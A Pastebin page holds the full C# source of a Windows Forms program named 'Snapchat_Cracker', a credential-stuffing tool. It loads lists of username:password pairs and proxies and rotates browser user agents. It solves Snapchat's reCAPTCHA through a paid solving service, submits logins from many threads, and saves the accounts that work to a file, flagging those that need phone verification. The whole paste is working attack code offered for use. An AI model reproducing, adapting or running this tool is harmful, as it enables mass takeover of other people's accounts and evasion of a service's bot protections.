Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Text;
- using System.Text.RegularExpressions;
- using System.Threading;
- using System.Windows.Forms;
- using xNet;
- namespace Snapchat_Cracker
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- ProxyCombobox.SelectedIndex = 0;
- AddTolist();
- FileName = string.Format("Success - {0:yyyy-MM-dd_hh-mm-ss-tt}.txt", DateTime.Now);
- try
- {
- if (!Directory.Exists(@"Accounts\"))
- Directory.CreateDirectory(@"Accounts\");
- }
- catch (Exception)
- {
- }
- this.fastObjectListView1.UseCellFormatEvents = true;
- this.fastObjectListView1.FormatCell += (sender, args) =>
- {
- if (args.ColumnIndex == 0 || args.ColumnIndex == 1 || args.ColumnIndex == 2)
- return;
- args.Item.SubItems[3].ForeColor = args.Item.SubItems[3].Text.Contains("Phone") ? Color.Red : Color.Green;
- };
- }
- void AddTolist()
- {
- Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0");
- Useragents.Add("Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0");
- Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0");
- Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36");
- Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9");
- Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36");
- Useragents.Add("Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36");
- Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:40.0) Gecko/20100101 Firefox/40.0");
- Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/45.0");
- Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/50.0");
- Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/55.0");
- Useragents.Add("Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
- Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7");
- Useragents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
- Useragents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
- Useragents.Add("Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36");
- }
- string FileName;
- HashSet<string> Proxies = new HashSet<string>();
- HashSet<string> Accounts = new HashSet<string>();
- HashSet<string> Useragents = new HashSet<string>();
- List<Thread> tList = new List<Thread>();
- int checkedcnt, goodcnt, badcnt, phonelockedcnt, errorscnt, captchacnt, lvcount;
- object _lock = new object();
- int index = 0;
- bool isRunning;
- TwoCaptchaClient client;
- Random rnd = new Random();
- int ProxyChoice = 0;
- private ProxyClient GetProxyClient(string Proxy)
- {
- switch (ProxyChoice)
- {
- case 0:
- {
- return HttpProxyClient.Parse(Proxy);
- }
- case 1:
- {
- return Socks4ProxyClient.Parse(Proxy);
- }
- case 2:
- {
- return Socks5ProxyClient.Parse(Proxy);
- }
- }
- return HttpProxyClient.Parse(Proxy);
- }
- string Ofd(string choicename, int choice)
- {
- int cnt = 0;
- OpenFileDialog ofd = new OpenFileDialog();
- ofd.Title = $"Load {choicename} File";
- ofd.CheckFileExists = true;
- ofd.DefaultExt = "txt";
- ofd.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*";
- ofd.FilterIndex = 1;
- ofd.RestoreDirectory = true;
- if (ofd.ShowDialog() == DialogResult.OK)
- {
- if (choice == 0)
- {
- Accounts.Clear();
- Accounts = new HashSet<string>(File.ReadAllLines(ofd.FileName).ToList());
- cnt = Accounts.Count;
- }
- else
- {
- Proxies.Clear();
- Proxies = new HashSet<string>(File.ReadAllLines(ofd.FileName).ToList());
- cnt = Proxies.Count;
- }
- MessageBox.Show($"Total {cnt} {choicename} Loaded!");
- }
- return ofd.FileName;
- }
- private void StartBtn_Click(object sender, EventArgs e)
- {
- if (Accounts.Count == 0)
- {
- MessageBox.Show("Please load accounts to being cracking!", "Accounts", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- return;
- }
- if (Proxies.Count == 0)
- {
- MessageBox.Show("Please load proxies to being cracking!", "Proxies", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- return;
- }
- var twocaptcha = textBox3.Text;
- if (string.IsNullOrEmpty(twocaptcha))
- {
- MessageBox.Show("Please Enter 2Captcha Key in textbox field!", "Twocaptcha", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- return;
- }
- ProxyChoice = ProxyCombobox.SelectedIndex;
- client = new TwoCaptchaClient(twocaptcha);
- var threads = (int)numericUpDown1.Value;
- isRunning = true;
- Toggle(0);
- checkedcnt = 0; goodcnt = 0; badcnt = 0; phonelockedcnt = 0; errorscnt = 0; index = 0; captchacnt = 0; lvcount = 0;
- for (int i = 0; i < threads; i++)
- {
- var t = new Thread(DoTask); t.IsBackground = true; tList.Add(t);
- t.Start();
- }
- var balanceT = new Thread(UpdateBalance); balanceT.IsBackground = true; balanceT.Start();
- var updateT = new Thread(() =>
- {
- while (true)
- {
- if (isCompleted())
- {
- UpdateStatus("Completed");
- MessageBox.Show("Snap Heaven Cracking Completed!", "About", MessageBoxButtons.OK, MessageBoxIcon.Information);
- this.Invoke(new MethodInvoker(() =>
- {
- Toggle(1);
- }));
- break;
- }
- UpdateStatus("Running");
- Thread.Sleep(1000);
- }
- });
- updateT.IsBackground = true;
- updateT.Start();
- }
- void UpdateBalance()
- {
- while (isRunning)
- {
- try
- {
- this.Invoke(new MethodInvoker(() =>
- {
- label7.Text = $"${client.GetBalance()}";
- }));
- }
- catch (Exception)
- {
- }
- Thread.Sleep(60000);
- }
- }
- object _SaveLock = new object();
- void Save(string acc, string pass, string status)
- {
- try
- {
- lock (_SaveLock)
- {
- var lvdata = new LVData();
- lvdata.Index = lvcount + 1;
- lvdata.Username = acc;
- lvdata.Password = pass;
- lvdata.Status = status.Length > 0 ? "Phone Verification Required" : "Regular Account";
- fastObjectListView1.AddObject(lvdata);
- Interlocked.Increment(ref lvcount);
- File.AppendAllText(@"Accounts\" + FileName, $"{acc}:{pass}{status}" + Environment.NewLine);
- }
- }
- catch (Exception) { }
- }
- void UpdateStatus(string status)
- {
- StatusTxt.Text = $"Status: {status} | Checked: {checkedcnt} | Success: {goodcnt} | Phone Locked: {phonelockedcnt} | Bad: {badcnt} | Captcha: {captchacnt} | Errors: {errorscnt} |";
- }
- bool isCompleted()
- {
- foreach (var item in tList)
- {
- if (item.IsAlive) return false;
- }
- return true;
- }
- private void Stopbtn_Click(object sender, EventArgs e)
- {
- isRunning = false;
- Stopbtn.Enabled = false;
- isRunning = false;
- Stopbtn.Enabled = false;
- var t = new Thread(() =>
- {
- foreach (var item in tList)
- {
- try
- {
- item.Abort();
- }
- catch (Exception)
- {
- }
- }
- });
- t.IsBackground = true;
- t.Start();
- }
- private void clearListToolStripMenuItem_Click(object sender, EventArgs e)
- {
- try
- {
- if (fastObjectListView1.Items.Count == 0) return;
- var dialog = MessageBox.Show("Are you sure? This will clear the Cracked accounts list", "Sure?", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
- if (dialog == DialogResult.Yes)
- {
- fastObjectListView1.Objects = null; lvcount = 0;
- }
- }
- catch (Exception)
- {
- }
- }
- private void copyUsernameToolStripMenuItem_Click(object sender, EventArgs e)
- {
- try
- {
- Clipboard.SetText(((LVData)fastObjectListView1.SelectedObject).Username);
- }
- catch (Exception)
- {
- }
- }
- private void copyPasswordToolStripMenuItem_Click(object sender, EventArgs e)
- {
- try
- {
- Clipboard.SetText(((LVData)fastObjectListView1.SelectedObject).Password);
- }
- catch (Exception)
- {
- }
- }
- private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e)
- {
- try
- {
- System.Diagnostics.Process.Start(@"Accounts\");
- }
- catch (Exception) { }
- }
- void Toggle(int choice)
- {
- if (choice == 0)
- {
- StartBtn.Enabled = false;
- Stopbtn.Enabled = true;
- LoadAcs.Enabled = false;
- LoadProxies.Enabled = false;
- ProxyCombobox.Enabled = false;
- numericUpDown1.Enabled = false;
- textBox3.Enabled = false;
- }
- else
- {
- StartBtn.Enabled = true;
- Stopbtn.Enabled = false;
- LoadAcs.Enabled = true;
- LoadProxies.Enabled = true;
- ProxyCombobox.Enabled = true;
- numericUpDown1.Enabled = true;
- textBox3.Enabled = true;
- }
- }
- string GetAccount()
- {
- var acc = "";
- lock (this)
- {
- try
- {
- if (index < Accounts.Count)
- {
- acc = Accounts.ElementAt(index);
- index += 1;
- }
- }
- catch (Exception)
- {
- }
- }
- return acc;
- }
- void DoTask()
- {
- while (isRunning)
- {
- var acc = GetAccount();
- if (string.IsNullOrEmpty(acc)) break;
- var accdata = acc.Split(':');
- for (int i = 0; i < 5; i++)
- {
- try
- {
- var proxy = Proxies.ElementAt(rnd.Next(Proxies.Count));
- var req = new HttpReq(GetProxyClient(proxy), Useragents.ElementAt(rnd.Next(Useragents.Count)));
- var src = req.Get("https://accounts.snapchat.com/accounts/login");
- var token = Regex.Match(src, "data-xsrf=\"(.*?)\"");
- if (!token.Success) continue;
- req.cookies.Add("xsrf_token", token.Groups[1].Value);
- var datakey = "6LdENzEUAAAAAMud35tItKpnCdOuZxblLIPOo9uw"; //update datakey if its changed on website.
- var gresponse = "";
- if (client.SolveRecaptchaV2(datakey, "https://accounts.snapchat.com/accounts/login", out gresponse))
- {
- var pdata = $"username={(accdata[0].Replace("@", "%40"))}&password={accdata[1]}&xsrf_token={token.Groups[1].Value}&continue=%2Faccounts%2Fwelcome&g-recaptcha-response={gresponse}&g-recaptcha-response={gresponse}";
- src = req.Post("https://accounts.snapchat.com/accounts/login", pdata, "https://accounts.snapchat.com/");
- if (src.Contains("accounts/logout"))
- {
- Save(accdata[0], accdata[1], "");
- Interlocked.Increment(ref goodcnt);
- }
- else if (src.Contains("data-obfuscated-phone"))
- {
- Save(accdata[0], accdata[1], " - Phone Verification Required");
- Interlocked.Increment(ref phonelockedcnt);
- Interlocked.Increment(ref goodcnt);
- }
- else if (src.Contains("Unable to verify captcha"))
- {
- Interlocked.Increment(ref captchacnt);
- continue;
- }
- else
- {
- Interlocked.Increment(ref badcnt);
- }
- Interlocked.Increment(ref checkedcnt);
- break;
- }
- }
- catch (Exception)
- {
- Interlocked.Increment(ref errorscnt);
- //Interlocked.Increment(ref checkedcnt);
- }
- }
- }
- }
- private void LoadAcs_Click(object sender, EventArgs e)
- {
- var fname = Ofd("Accounts", 0);
- if (!string.IsNullOrEmpty(fname))
- {
- AccountsPathBox.Text = fname;
- }
- }
- private void LoadProxies_Click(object sender, EventArgs e)
- {
- var fname = Ofd("Proxies", 1);
- if (!string.IsNullOrEmpty(fname))
- {
- ProxiesPathBox.Text = fname;
- }
- }
- private void Aboutbtn_Click(object sender, EventArgs e)
- {
- MessageBox.Show("Made by ", "About", MessageBoxButtons.OK, MessageBoxIcon.Information);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement